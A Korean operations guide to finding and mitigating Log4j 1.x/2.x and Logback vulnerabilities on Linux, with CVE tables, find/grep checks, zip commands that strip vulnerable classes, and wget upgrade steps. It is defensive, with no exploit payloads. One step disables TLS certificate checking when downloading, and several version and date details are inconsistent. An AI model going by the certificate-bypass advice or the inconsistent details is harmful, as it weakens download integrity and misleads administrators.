Apache Log4j 및 Logback 보안 업데이트 권고 (대응 가이드)

    지금 전 세계적으로 떠들썩하게 만드는 역대 사상 최악의 보안 결함이라는 취약점이 발견되어 난리가 되고 있습니다. 바로 아파치 소프트웨어 재단의 JAVA 프로그래밍 언어로 개발된 Log4 jLogback 때문인데요. 이것을 설명하기 전에 앞서 필자는 개발자는 아니기 때문에 운영의 입장에서 설명을 드리고 조치하는 방법을 안내하도록 하겠습니다. 솔직히 JNDI와 LDAP 취약점이니 뭐니 해도 제대로 이해하고 진행하시는 분들이 몇 있을까 합니다. 저도 뉴스나 보안팀에서 하라는 대로 진행할 뿐이기에 조금이라도 이해를 도와드리기 위해 진행과정 전체를 보여드릴까 합니다. 더 자세한 내용을 확인하기 위한 분들은 문서를 참조해주시기 바랍니다.

     

    ※ 리눅스 기준으로 작성되었습니다. (윈도우 서버라고 해서 크게 다를 부분은 없습니다.)

    보안뉴스 및 문서

    KISA 인터넷 보호나라 : Apache Log4j 보안 업데이트 권고 (Update. 22-01-03 14:30)

    KISA 인터넷 보호나라 : Apache Log4j 보안 업데이트 권고(CVE-2021-45105, 44832, CVE-2022-23302, 23305, 23307) (Update. 22-1-21 17:00)

    KISA 인터넷 보호나라 : Logback 보안 업데이트 권고

    KISA 인터넷 보호나라(가이드 및 매뉴얼) : QnA 형식으로 알아보는 Apache log4j 취약점 대응 가이드

    KISA 인터넷 보호나라(대응 보고서) : Log4j 위협 대응 보고서 (22-03-04)

    Apache Log4j 1.X 공식 사이트 : https://logging.apache.org/log4j/1.2/ [2015년 8월 5일 수명 종료]

    Apache Log4j 2.X 공식 사이트 : https://logging.apache.org/log4j/2.x/

    Apache Log4j 공식 다운로드 사이트(저장소) : https://archive.apache.org/dist/logging/log4j/

    Apache 보안업데이트 현황 : https://logging.apache.org/log4j/2.x/security.html

    Logback 공식 사이트 : http://logback.qos.ch/index.html [log4j 1.X 프로젝트 토대로 재개발된 로깅 프로그램]

    Logback 뉴스 현황 : http://logback.qos.ch/news.html

    Log4j와 Logback란?

    간단하게 설명하면 JAVA 기반의 오픈소스 유틸리티, 시스템 또는 서비스 동작 과정(프로그램 작성 중)에서 일어나는 모든 것을 기록해주는 라이브러리로 즉 로그를 출력 또는 저장하는 기능을 역할을 합니다. 이 로깅을 통해 개발자들은 개발 도중에 일어나는 오류 혹은 개발 후에도 발생할 수 있는 예상치 못한 애플리케이션의 문제를 진단할 수 있습니다. 또한 관리자 입장에서는 다양한 정보를 수집할 수 있으므로 분석 데이터로도 활용을 할 수 있습니다. 치명적인 보안 취약점이 나오긴 했지만 필수로 사용할 수밖에 없는 로깅 프로그램이기도 합니다.

    영향을 받는 버전 및 대응 방안[2022-01-21 기준]

    ※ 각 CVE 별로 영향도가 다르지만 결국 [45105 / 44832]의 취약점 마이너버전으로 최종적으로 업데이트 해야 함
    제품명 참고사이트 영향 받는 버전 해결 버전(대응 방안)
    Log4j 1 CVE-2021-4104
    (원격코드 실행 취약)
    1.x 모두 포함
    ◇ 수명 종료전 마지막 버전[1.2.17]
    ※ JMSAppender를 사용하지
    않는 경우 취약점 영향 없음
    ◇ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지(2015년 수명 종료)로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전(2.x) 업데이트 적용 권고

    ◇ 신규 업데이트가 불가능할 경우
    JMSAppender 사용 확인 후
    코드 수정 또는 삭제
    (본문 내용에 설명)
    Log4j 1 CVE-2022-23302
    (원격코드 실행 취약)

    CVE-2022-23305
    (SQL Injection 취약)

    CVE-2022-23307
    (원격코드 실행 취약)
    1.x 모두 포함
    ◇ 수명 종료전 마지막 버전[1.2.17]
    23302-※ JMSSink를 사용하지 않는 경우 취약점 영향 없음

    23305-※ JDBCAppender를 사용하지 않는 경우 취약점 영향 없음

    23307-※ Chainsaw를 사용하지 않는 경우 취약점 영향 없음
    ◇ log4j 1.x버전 사용자의 경우 추가적인 업그레이드지원 중지(2015년 수명 종료)로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전(2.x) 업데이트 적용 권고

    ◇ 신규 업데이트가 불가능할 경우
    JMSSink, JDBCAppender, Chiansaw 사용 확인 후 코드 수정 또는 삭제
    (본문 내용에 설명)
    ※ 2022-01-21 17:00 업데이트 기준
    Log4j 2 CVE-2021-44228
    (원격코드 실행 취약)
    2.0-beta9 ~ 2.14.1 이하 버전
    (※ Log4j 2.3.1, 2.12.2, 2.12.3 제외)
    Java8 : Log4j 2.17.0 Update
    Java7 : Log4j 2.12.3 Update
    Java6 : Log4j 2.3.1 Update
    ※ 2022-01-03 14:30 업데이트 기준

    ◇ log4j-core-*.jar 파일 없이 
    log4j-api-*.jar 파일만 사용하는 경우
    취약점의 영향을 받지 않음

    ◇ 신규 업데이트가 불가능할 경우
    JndiLookup 클래스를 경로에서 제거
    (본문 내용에 설명)
    Log4j 2 CVE-2021-45046
    (원격코드 실행 취약)
    2.0-beta9 ~ 2.15.0 버전
    (※ Log4j 2.3.1, 2.12.2, 2.12.3 제외)
    이하동문
    Log4j 2 CVE-2021-45105
    (서비스 거부 취약)

    CVE-2021-44832
    (원격코드 실행 취약)
     45105
    2.0-alpha1 ~ 2.16.0 버전

    (※ Log4j 2.3.1, 2.12.3 제외)

    ◎ 44832
    2.0-beta7 ~ 2.17.0 버전
    (※ Log4j 2.3.2, 2.12.4 제외)

    추가 내용 : 원격 코드를 실행할 수 있는
    JNDI URI를 참조하는 데이터 소스와
    함께
    JDBCAppender를 사용
    Java8 : Log4j 2.17.1 Update
    Java7 : Log4j 2.12.4 Update
    Java6 : Log4j 2.3.2 Update
    ※ 2021-01-03 14:30 업데이트 기준

    ◇ log4j-core-*.jar 파일 없이 
    log4j-api-*.jar 파일만 사용하는 경우
    취약점의 영향을 받지 않음

    ◇ 신규 업데이트가 불가능할 경우
    ① PatternLayout 에서
    ${ctx:loginId} 또는 $${ctx:loginId}를

    (%X, %mdc, or %MDC)로 변경
    ② ${ctx:loginId} 또는
    $${ctx:loginId} 제거
    Logback CVE-2021-42550
    (원격코드 실행 취약)
    1.2.9 이전 모든 버전
    ◇ 단, 아래와 같이 모든 조건이 충족
    ① 공격자는 사전에 로그백 파일
    (~log.xml) 에 접근 및 쓰기 권한이 있어야 함
    ② 변조한 설정 파일이 시스템에 적용
    (배치후 시스템 재기동 or Scan="true" 로 설정 필요)
    1.2.9(안정화 버전)

    1.2.10
    마이너 버전이 나왔으나 취약점 관련 내용은 아니므로, 안정화 버전으로 설치해도 무관

    ■ Log4j 1.X 사용 확인 및 해결 방안

    ① Log4j 1.X 라이브러리가 있는지 확인

    ◇ 예시, 검색 시 아래와 같이 결과 값이 나오면 JAVA를 이용한 로깅 프로그램을 사용할 확률이 높습니다.

    ◇ /(root)로 전체 검색을 하되, 파일 양이 많을 경우는 시간이 오래 걸릴 수 있으므로 이용하는 솔루션 프로그램 설치 위치를 안다면 지정하여 범위를 줄이는 게 좀 더 빨리 찾을 수 있습니다.

    [root@localhost ~]# find / -name "log4j-*.jar"

    /source/~/lib/log4j-1.2.17.jar
    /source/~/web/WEB-INF/lib/log4j-1.2.17.jar
    /source/~/admin/WEB-INF/lib/log4j-1.2.17.jar

     

    ② Log4j 1.X 취약점인 JMSAppender, JMSSink, JDBCAppender, Chainsaw를 사용하는지 확인

    ◇ Class 선언문을 사용하기 위해 대체로 'log4j.properties' 형태로 파일을 저장을 합니다. 파일 본문 내용에 JMSAppender, JMSSink, JDBCAppender, Chainsaw 선언문을 사용하는 파일을 찾고, egrep을 통해 xml|properties 형태의 파일만 찾는 명령어

    ▷ 결과 값이 나오는 경우

    [root@localhost ~]# find / -type f -exec egrep -il "JMSAppender|JMSSink|JDBCAppender|Chainsaw" {} \; | egrep "xml|properties"

    /source/~/conf/log4j.properties  [취약]

     

    결과에서 나오는 파일을 열어보면 다음과 같이 선언문을 사용하고 있다는 뜻입니다.

    [root@localhost ~]# vi log4j.properties

    log4j.appender.JMS=org.apache.log4j.net.JMSAppender

    ▷ 결과 값이 나오지 않는 경우

    [root@localhost ~]# find / -type f -exec egrep -il "JMSAppender|JMSSink|JDBCAppender|Chainsaw" {} \; | egrep "xml|properties"

    [취약하지 않음]

    [참고]

    ◇ 라이브러리 보관 경로에서 해당 .jar 파일을 열어보면[vim으로 확인] 각종 클래스를 사용할 수 있는 선언문이 있습니다. 그중 net 부분을 확인해보면, 감이 잡히시죠? 즉 각 클래스를 통한 JMSAppender, JMSSink, JDBCAppender, chainsaw/*(전부포함), SocketServer 로깅이 문제가 되는 부분으로 업데이트가 불가할 시 해당 클래스를 삭제하라는 의미입니다.

    [root@localhost ~]# vim log4j-1.2.17.jar

    내용 중

    org/apache/log4j/net/
    org/apache/log4j/net/JMSAppender.class  [확인된 문제 되는 클래스]

    org/apache/log4j/net/JMSSink.class [확인된 문제 되는 클래스]

    org/apache/log4j/jdbc/JDBCAppender.class [확인된 문제 되는 클래스]

     

    org/apache/log4j/chainsaw/(체인소 폴더 하단 부분 전부 포함) [확인된 문제 되는 클래스]
    org/apache/log4j/chainsaw/ControlPanel$1.class
    org/apache/log4j/chainsaw/ControlPanel$2.class
    org/apache/log4j/chainsaw/ControlPanel$3.class
    org/apache/log4j/chainsaw/ControlPanel$4.class
    org/apache/log4j/chainsaw/ControlPanel$5.class
    org/apache/log4j/chainsaw/ControlPanel$6.class
    org/apache/log4j/chainsaw/ControlPanel$7.class
    org/apache/log4j/chainsaw/ControlPanel.class
    org/apache/log4j/chainsaw/DetailPanel.class
    org/apache/log4j/chainsaw/EventDetails.class
    org/apache/log4j/chainsaw/ExitAction.class
    org/apache/log4j/chainsaw/LoadXMLAction.class
    org/apache/log4j/chainsaw/LoggingReceiver$Slurper.class
    org/apache/log4j/chainsaw/LoggingReceiver.class
    org/apache/log4j/chainsaw/Main$1.class
    org/apache/log4j/chainsaw/Main.class
    org/apache/log4j/chainsaw/MyTableModel$1.class
    org/apache/log4j/chainsaw/MyTableModel$Processor.class
    org/apache/log4j/chainsaw/MyTableModel.class
    org/apache/log4j/chainsaw/XMLFileHandler.class


    org/apache/log4j/net/SocketServer.class  [확인된 문제 되는 클래스(비공식)]

    ◇ 대부분의 업체는 JMSAppender.class를 사용하는 일은 없으며 이클립스[Eclipse]같은 소프트웨어를 이용한 콘솔 ConsoleAppender.class로 정보를 확인하거나, 로그 기록을 남기기 위한 (Daily)RollingFileAppender.class를 이용

    [예시]

    log4j.appender.CONSOL=org.apache.log4j.ConsoleAppender [콘솔에서 로그 확인]

    log4j.appender.WEB=org.apache.log4j.RollingFileAppender [로그를 파일로 남기는 역할, 용량 설정으로 기준]

    log4j.appender.WEB=org.apache.log4j.DailyRollingFileAppender [로그를 파일로 남기는 역할, 날짜 설정으로 기준]

     

    ◇ 솔직히 이 2개에 대한 클래스는 내용을 읽어봐도 잘 이해되지는 않습니다. 다른 보안뉴스나 블로그에도 사용하지 말라는 내용만 있을 뿐, JMS Message tyep(JMS API)와 JNDI context 어떤 방식으로 사용이 되는지에 대한 말은 없습니다. 일단 공식 홈페이지의 문서를 링크를 걸어두었습니다.

    JMSAppender.class : https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/JMSAppender.html

    SocketServer.class : https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/SocketServer.html

     

    ◇ [2022-01-21] 추가 취약 클래스 참고

    JMSSink.class : https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/JMSSink.html
    JDBCAppender.class : https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/jdbc/JDBCAppender.html
    chainsaw : https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/chainsaw/Main.html

     

    ③ 해결 방안

    □ 신규 업데이트를 하지 못할 경우

    서버가 아직까지도 log4j 1.X 버전을 사용 중이라면 JAVA버전이 최대 Java 7 까지만 사용하고 있을 확률이 높으며, 패치가 가능한 상태라도 유지보수가 되어 있지 않거나 관리만 하는 목적이라면 패치를 함과 동시에 부가적인 오류가 발생할 확률이 있기 때문에 쉽사리 버전 업데이트를 하지 못할 것으로 생각이 됩니다. 그래서 임시방편으로 JMSAppender.class 또는 SocketServer.class를 아예 사용하지 못하게 .jar 파일에서 클래스를 삭제하는 방법도 안내를 하고 있습니다.

        - CVE-2021-4104 (보안 권고 내용 중)
          · JMSAppender 사용 확인 후 코드 수정 또는 삭제
              ※ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전(2.x) 업데이트 적용 권고

    [root@localhost ~]# cd  /source/~/lib/  [log4j 1을 사용하는 경로로 이동]

    [root@localhost ~]# cp -arp log4j-1.2.17.jar log4j-1.2.17.jar_bak  [문제 원복하기 위한 백업(파일 복사)]

     

    zip 명령어를 이용해 해당 클래스만 삭제

    [서버에 zip 명령어가 없다면 PC 클라이언트에서 다운로드하고 압축 해제 후 파일 수정 후에 다시 .jar 묶어야 함]

    [root@localhost ~]# zip -q -d log4j-*.jar org/apache/log4j/net/JMSAppender.class

    [root@localhost ~]# zip -q -d log4j-*.jar org/apache/log4j/net/SocketServer.class  [비공식]

     

    다시 한번 명령어를 입력했을 경우

    [root@localhost ~]# zip -q -d log4j-*.jar org/apache/log4j/net/JMSAppender.class

    zip error: Nothing to do! (log4j-1.2.17.jar) 이미 해당 값이 삭제돼서 없다는 뜻

    □ [2022-01-21] 추가내용

    - CVE-2022-23302
          · JMSSink 클래스 파일 삭제

    - CVE-2022-23305
          · Log4j 설정 파일에서 JDBCAppender 삭제
          · JDBCAppender 클래스 파일 삭제

    - CVE-2022-23307
          · Chiansaw를 통해 직렬화 된 로그를 읽지 않도록 설정 (※ XMLSocketReceiver로 대체 가능)
          · Chainsaw 관련 클래스 삭제

    [root@localhost ~]# zip -q -d log4j-*.jar org/apache/log4j/net/JMSSink.class

    [root@localhost ~]# zip -q -d log4j-*.jar org/apache/log4j/jdbc/JDBCAppender.class

    [root@localhost ~]# zip -q -d log4j-*.jar org/apache/log4j/chainsaw/*

     

    명령어를 입력했을 때 아래와 같이 메시지가 나오면

    zip error: Nothing to do! (log4j-1.2.17.jar) 이미 해당 값이 삭제돼서 없다는 뜻

    □ [2022-02-14] 추가내용

    해당 방법은 만약 각 lib를 경로가 너무 많아 일일이 경로에 찾아가 명령어를 입력하기 힘들 경우 한 번에 삭제하는 방법입니다. find로 찾은 후에 awk를 통해 넘겨받아 처리하는 방법입니다. 다음은 예시입니다.

    [root@localhost ~]# find / -name "log4j-*.jar" | awk '{print "zip -q -d",$1,"org/apache/log4j/net/JMSAppender.class"}'

    zip -q -d /source/~/lib/log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class
    zip -q -d /source/~/web/WEB-INF/lib/log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class
    zip -q -d /source/~/admin/WEB-INF/lib/log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class

    이렇게 결과 같이 나오는 것이 확인이 되면 끝에 | sh 쉘로 실행하는 명령어를 추가로 붙입니다.

    [root@localhost ~]# find / -name "log4j-*.jar" | awk '{print "zip -q -d",$1,"org/apache/log4j/net/JMSAppender.class"}' | sh

    [root@localhost ~]# 

    일정 시간이 경과되면 빈 프롬프트 명령어가 떨어지면 실제 각 경로의 클래스 삭제가 완료했다는 뜻입니다.

    다시 한번 동일한 명령어를 입력했을 때 아래와 같이 떨어지면 내부에 삭제되어 값이 없다는 뜻입니다.

    zip error: Nothing to do! (/source/~/lib/log4 j-1.2.17.jar)
    zip error: Nothing to do! (/source/~/web/WEB-INF/lib/log4 j-1.2.17.jar)
    zip error: Nothing to do! (/source/~/admin/WEB-INF/lib/log4 j-1.2.17.jar)

     

    □ 실제로 log4j.properties 에서 JMSAppender, JMSSink, JDBCAppender, chainsaw/*(전부포함) 사용 중이라면 파일을 열어서

    <-- <appender name="JMS" class="org.apache.log4j.net.JMSAppender"> -->

    사용하지 못하게 코드를 변경, 또는 주석처리[ <-- 선언문 --> ]를 하던가 삭제하기


    ■ Log4j 2.X 사용 확인 및 해결 방안

    ① Log4j 2.X 라이브러리가 있는지 확인

    ◇ 예시, 검색 시 아래와 같이 결과값이 나오면 JAVA를 이용한 로깅 프로그램을 사용할 확률이 높습니다.

    ◇ /(root)로 전체 검색을 하되, 파일 양이 많을 경우는 시간이 오래 걸릴 수 있으므로 이용하는 솔루션 프로그램 설치 위치를 안다면 지정하여 범위를 줄이는 게 좀 더 빨리 찾을 수 있습니다.(동일)

    [root@localhost ~]# find / -name "log4j-*.jar"

    /source/~/lib/log4j-api-2.8.2.jar

    /source/~/lib/log4j-core-2.8.2.jar  [취약]

    /source/~/web/WEB-INF/lib/log4j-api-2.8.2.jar

    /source/~/web/WEB-INF/lib/log4j-core-2.8.2.jar  [취약]

    /source/~/admin/WEB-INF/lib/log4j-api-2.8.2.jar

    /source/~/admin/WEB-INF/lib/log4j-core-2.8.2.jar  [취약]

    ※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 위 취약점의 영향을 받지 않음 (보안 권고 내용 중)

    [root@localhost ~]# find / -name "log4j-*.jar"

    /source/~/lib/log4j-api-2.8.2.jar

    /source/~/web/WEB-INF/lib/log4j-api-2.8.2.jar

    [취약하지 않음]

     

    ② Log4j 2.X 취약점인 JndiLookup를 사용하는지 확인

    ◇ Class 선언문을 사용하기 위해 2.X부터는 대체로 'log4j.properties' 또는 '~log.xml' 형태로 파일을 저장을 합니다. 파일 본문 내용에 JndiLookup 선언문을 사용하는 파일을 찾고, egrep을 통해 xml|properties 형태의 파일만 찾는 명령어

    ▷ 결과 값이 나오는 경우

    [root@localhost ~]# find / -type f -exec grep -il JndiLookup {} \; | egrep "xml|properties"

    /source/~/conf/log4j.properties  [취약]

    /source/~/conf/weblog.xml  [취약]

     

    결과에서 나오는 파일을 열어보면 다음과 같이 선언문을 사용하고 있다는 뜻입니다.

    [root@localhost ~]# vi weblog.xml  [예시]

    log4j.appender.Jndi=org.apache.log4j.core.lookup.JndiLookup

    ▷ 결과값이 나오지 않는 경우

    [root@localhost ~]# find / -type f -exec grep -il JndiLookup {} \; | egrep "xml|properties"

    [취약하지 않음]

    [참고]

    ◇ 라이브러리 보관 경로에서 해당 .jar 파일을 열어보면(vim으로 확인) 각종 클래스를 사용할 수 있는 선언문이 있습니다. 그중 lookup 부분을 확인해보면 JndiLookup 통한 로깅이 문제가 되는 부분으로 업데이트가 불가할 시 해당 클래스를 삭제하라는 의미입니다.

    [root@localhost ~]# vim log4j-core-2.8.2.jar

    내용중

    org/apache/logging/log4j/core/lookup/JndiLookup.class  [확인된 문제 되는 클래스]

    ◇ log4j lookup 관련 설명 : https://logging.apache.org/log4j/2.x/manual/lookups.html

     

    ③ 해결 방안

    □ 신규 업데이트를 하지 못할 경우ⓐ

    o 신규 업데이트가 불가능할 경우 아래와 같이 조치 적용 (보안 권고 내용 중)
        - CVE-2021-44228, CVE-2021-45046
          · JndiLookup 클래스를 경로에서 제거

    [root@localhost ~]# cd  /source/~/lib/  [log4j 1을 사용하는 경로로 이동]

    [root@localhost ~]# cp -arp log4j-core-2.8.2.jar log4j-core-2.8.2.jar_bak  [문제 원복하기 위한 백업(파일 복사)]

     

    zip 명령어를 이용해 해당 클래스만 삭제

    [서버에 zip 명령어가 없다면 PC 클라이언트에서 다운로드하고 압축 해제 후 파일 수정 후에 다시 .jar 묶어야 함]

    [root@localhost ~]# zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

     

    다시한번 명령어를 입력했을 경우

    [root@localhost ~]# zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    zip error: Nothing to do! (log4j-core-2.8.2.jar) 이미 해당 값이 삭제돼서 없다는 뜻

     

    □ 신규 업데이트를 하지 못할 경우ⓑ

     o 신규 업데이트가 불가능할 경우 아래의 조치방안으로 조치 적용
      - PatternLayout에서 ${ctx:loginId} 또는 $${ctx:loginId}를 (%X, %mdc, or %MDC)로 변경
      - ${ctx:loginId} 또는 $${ctx:loginId}를 제거

    ◇ 로깅이 설정된 xml|properties파일에서 PatternLayout에 해당 구문을 사용하는지 확인

    ${ctx:loginId} ctx: 뒤에 부분은 개발자마다 변수가 다를 수 있으므로 아래와 같이 찾습니다.

    [root@localhost ~]# find /apps -type f -exec grep -il "ctx:" {} \; | egrep "xml|properties"

    시간이 조금 오래 걸릴 수 있습니다 값이 안 나오면 정상

    ▷ 파일이 검색이 됐을 경우

    [root@localhost ~]# vi log4j.properties  [예시]

    appender.console.layout.type = PatternLayout

    appender.console.layout.pattern = !${ctx:loginId}!%m%n

     

    제거하거나 (%X, %mdc, or % MDC) 형태의 변수 값으로 변경하라는 의미입니다.  [예시]

    appender.console.layout.pattern = !${ctx:loginId} [제거] !%m%n

    appender.console.layout.pattern = !%X !%m%n

     

    □ 최신 파일로 업데이트 하기[log4 j 1 동일]

    ◇ 자바(JAVA) 6 버전일 경우 log4j-2.3.2 버전으로 업데이트(업데이트 : 2021-12-30)

    [root@localhost ~]# java -version
    openjdk version "1.6.X"

     

     공식 다운로드 페이지(저장소) : https://archive.apache.org/dist/logging/log4j/2.3.2/

    원하는 파일을 가져옵니다. 필자는 tar.gz를 다운로드하겠습니다. 외부 네트워크가 제한된 업체라면 다운로드 후 서버에 직접 업로드할 것[상위 버전이 업데이트 된다면 마이너 숫자만 2.3.3 형태로 변경하면 됩니다.]

    [root@localhost ~]# wget https://archive.apache.org/dist/logging/log4j/2.3.2/apache-log4j-2.3.2-bin.tar.gz

     

    [root@localhost ~]# ls -al |grep apache  [다운로드 파일 확인]

    -rw-r--r--  1 root root  6833184 12월 30 03:53 apache-log4j-2.3.2-bin.tar.gz

     

    [root@localhost ~]# tar -xvzf apache-log4j-2.3.2-bin.tar.gz  [압축 해제]

    [root@localhost ~]# cd apache-log4j-2.3.2-bin  [폴더 이동]

     

    [root@demo apache-log4j-2.3.2-bin]# ls -al |grep core

    -rw-r--r--  1  root root 2880001 12월 29 10:19 log4j-core-2.3.2-javadoc.jar
    -rw-r--r--  1  root root 707327 12월 29 10:19 log4j-core-2.3.2-sources.jar
    -rw-r--r--  1  root root 788841 12월 29 10:19 log4j-core-2.3.2-tests.jar
    -rw-r--r--  1  root root 833132 12월 29 10:19 log4j-core-2.3.2.jar  [교체할 파일 확인]

     

    [root@localhost ~]# cd  /source/~/lib/  [log4j 2 사용 경로 이동]

    [root@localhost ~]# mv log4j-core-2.1.0.jar log4j-core-2.1.0.jar_bak  [기존 파일 백업]

    최종적으로 다운로드한 log4j-2.3.2.jar 파일로 교체

    [root@localhost ~]# cp /root/apache-log4j-2.3.2-bin/log4j-core-2.3.2.jar /source/~/lib/

     

    나머지는 서버 환경 구성에 맞게 권한 부여[chmod / chown]

    되도록 애플리케이션이나 JAVA구동에 문제가 없을만한 최소 권한만 주는 게 좋습니다.

    [root@localhost ~]# chmod 644 log4j-core-2.3.2.jar

    -rw-r--r--(644)  1  root root 833132 12월 30 10:30 log4j-core-2.3.2.jar

     

    ◇ 자바(JAVA) 7 버전일 경우 log4j-2.12.4 버전으로 업데이트(업데이트 : 2021-12-30)

    [root@localhost ~]# java -version
    openjdk version "1.7.X"

     

    공식 다운로드 페이지(저장소) : https://archive.apache.org/dist/logging/log4j/2.12.4/

    원하는 파일을 가져옵니다. 필자는 tar.gz를 다운로드하겠습니다. 외부 네트워크가 제한된 업체라면 다운로드 후 서버에 직접 업로드할 것[상위 버전이 업데이트 된다면 숫자만 2.12.5 형태로 변경하면 됩니다.]

    [root@localhost ~]# wget https://archive.apache.org/dist/logging/log4j/2.12.4/apache-log4j-2.12.4-bin.tar.gz

     

    [root@localhost ~]# ls -al |grep apache  [다운로드 파일 확인]

    -rw-r--r--  1 root root  13516695 12월 30 03:53 apache-log4j-2.12.4-bin.tar.gz

     

    [root@localhost ~]# tar -xvzf apache-log4j-2.12.4-bin.tar.gz  [압축 해제]

    [root@localhost ~]# cd apache-log4j-2.12.4-bin  [폴더 이동]

     

    [root@demo apache-log4j-2.12.4-bin]# ls -al |grep core

    -rw-r--r--  1  root root 5204532 12월 29 06:13 log4j-core-2.12.4-javadoc.jar
    -rw-r--r--  1  root root 1257181 12월 29 06:13 log4j-core-2.12.4-sources.jar
    -rw-r--r--  1  root root 1598137 12월 29 06:13 log4j-core-2.12.4-tests.jar
    -rw-r--r--  1  root root 1682736 12월 29 06:13 log4j-core-2.12.4.jar  [교체할 파일 확인]

     

    [root@localhost ~]# cd  /source/~/lib/  [log4j 2 사용 경로 이동]

    [root@localhost ~]# mv log4j-core-2.8.2.jar log4j-core-2.8.2.jar_bak  [기존 파일 백업]

    최종적으로 다운로드한 log4j-2.12.4.jar 파일로 교체

    [root@localhost ~]# cp /root/apache-log4j-2.12.4-bin/log4j-core-2.12.4.jar /source/~/lib/

     

    나머지는 서버 환경 구성에 맞게 권한 부여[chmod / chown]

    되도록 애플리케이션이나 JAVA구동에 문제가 없을만한 최소 권한만 주는 게 좋습니다.

    [root@localhost ~]# chmod 644 log4j-core-2.12.4.jar

    -rw-r--r--(644)  1  root root 1682736 12월 30 10:30 log4j-core-2.12.4.jar

     

    ◇ 자바(JAVA) 8 버전일 경우 log4j-2.17.1 버전으로 업데이트(업데이트 : 2021-12-29)

    [root@localhost ~]# java -version
    openjdk version "1.8.X"

     

    공식 다운로드 페이지 : https://logging.apache.org/log4j/2.x/download.html

     공식 다운로드 페이지(저장소) : https://archive.apache.org/dist/logging/log4j/2.17.1/

    원하는 파일을 가져옵니다. 필자는 tar.gz를 다운로드하겠습니다. 외부 네트워크가 제한된 업체라면 다운로드 후 서버에 직접 업로드할 것[상위 버전이 업데이트 된다면 숫자만 2.17.2 형태로 변경하면 됩니다.]

    [root@localhost ~]# wget https://dlcdn.apache.org/logging/log4j/2.17.1/apache-log4j-2.17.1-bin.tar.gz

    To connect to dlcdn.apache.org insecurely, use `--no-check-certificate'. [이렇게 메시지 발생하고 다운이 안되면]

    [root@localhost ~]# wget --no-check-certificate https://dlcdn.apache.org/logging/log4j/2.17.1/apache-log4j-2.17.1-bin.tar.gz

     

    또는

    [root@localhost ~]# wget https://archive.apache.org/dist/logging/log4j/2.17.1/apache-log4j-2.17.1-bin.tar.gz

     

    [root@localhost ~]# ls -al |grep apache  [다운로드 파일 확인]

    -rw-r--r--  1 root root  13947943 12월 29 03:31 apache-log4j-2.17.1-bin.tar.gz

     

    [root@localhost ~]# tar -xvzf apache-log4j-2.17.1-bin.tar.gz  [압축 해제]

    [root@localhost ~]# cd apache-log4j-2.17.1-bin  [폴더 이동]

     

    [root@demo apache-log4j-2.17.1-bin]# ls -al |grep core

    -rw-r--r--  1  root root 5446847 12월 29 08:25 log4j-core-2.17.1-javadoc.jar
    -rw-r--r--  1  root root 1303724 12월 29 08:25 log4j-core-2.17.1-sources.jar
    -rw-r--r--  1  root root 1696708 12월 29 08:25 log4j-core-2.17.1-tests.jar
    -rw-r--r--  1  root root 1790452 12월 29 08:25 log4j-core-2.17.1.jar  [교체할 파일 확인]

     

    [root@localhost ~]# cd  /source/~/lib/  [log4j 2 사용 경로 이동]

    [root@localhost ~]# mv log4j-core-2.8.2.jar log4j-core-2.8.2.jar_bak  [기존 파일 백업]

    최종적으로 다운받은 log4j-core-2.17.1.jar 파일로 교체

    [root@localhost ~]# cp /root/apache-log4j-2.17.1-bin/log4j-core-2.17.1.jar /source/~/lib/

     

    나머지는 서버 환경 구성에 맞게 권한 부여[chmod / chown]

    되도록 어플레이케션이나 JAVA구동에 문제가 없을만한 최소 권한만 주는 게 좋습니다.

    [root@localhost ~]# chmod 644 log4j-core-2.17.1.jar

    -rw-r--r--(644)  1  root root 1790452 12월 29 11:33 log4j-core-2.17.1.jar


    ■ Logback 사용 확인 및 해결 방안

    ① Logback 라이브러리가 있는지 확인

    ◇ 예시, 검색 시 아래와 같이 결과값이 나오면 JAVA를 이용한 로깅 프로그램을 사용할 확률이 높습니다.

    ◇ /(root)로 전체 검색을 하되, 파일 양이 많을 경우는 시간이 오래 걸릴 수 있으므로 이용하는 솔루션 프로그램 설치 위치를 안다면 지정하여 범위를 줄이는 게 좀 더 빨리 찾을 수 있습니다.

    [root@localhost ~]# find / -name "logback-*.jar"

    /source/~/lib/logback-core-1.2.3.jar

    /source/~/lib/logback-classic-1.2.3.jar
    /source/~/web/WEB-INF/lib/logback-core-1.2.3.jar

    /source/~/web/WEB-INF/lib/logback-classic-1.2.3.jar
    /source/~/admin/WEB-INF/lib/logback-core-1.2.3.jar

    /source/~/admin/WEB-INF/lib/logback-classic-1.2.3.jar

     

    ② Logback 취약점인 JMSAppender를 사용하는지 확인

    ◇ 위에 설명드린 것처럼 Logback은 log4j 1.X 프로젝트에서 토대로 재개발된 별도의 로깅 프로그램으로 비슷한 점이 많습니다. 이에 취약점이 비슷하게 나왔는데요. 다만 내용이 조금 틀립니다.

     o Logback : log4j 1.x 버전을 기반으로 개발한 로깅 라이브러리
      - 공격자가 logback의 설정파일에 접근 및 쓰기가 가능한 경우, JMSAppender를 통해 JNDI lookup을 실행할 수 있음

    [root@localhost ~]# find / -type f -exec grep -il JMSAppender {} \;

    했을 시 결과값이 나오지 않았으며 사용 중인 logback-core-1.2.3.jar 에서는 JMSAppender.class가 포함되어 있지는 않았습니다. 또한 아래와 같이 공격자 조건이 조금 더 까다롭습니다.

     o 단, 로그백 원격코드실행 취약점이 발현되기 위해서는 아래 조건이 모두 충족되어야 함
      - 공격자는 사전에 로그백 설정 파일(logback.xml)에 접근 및 쓰기 권한이 있어야 함
      - 공격자가 변조한 설정 파일(logback.xml)이 시스템에 적용되어야 함(변조된 설정 파일 배치 후 시스템 재기동 or Scan="true"로 설정 필요)
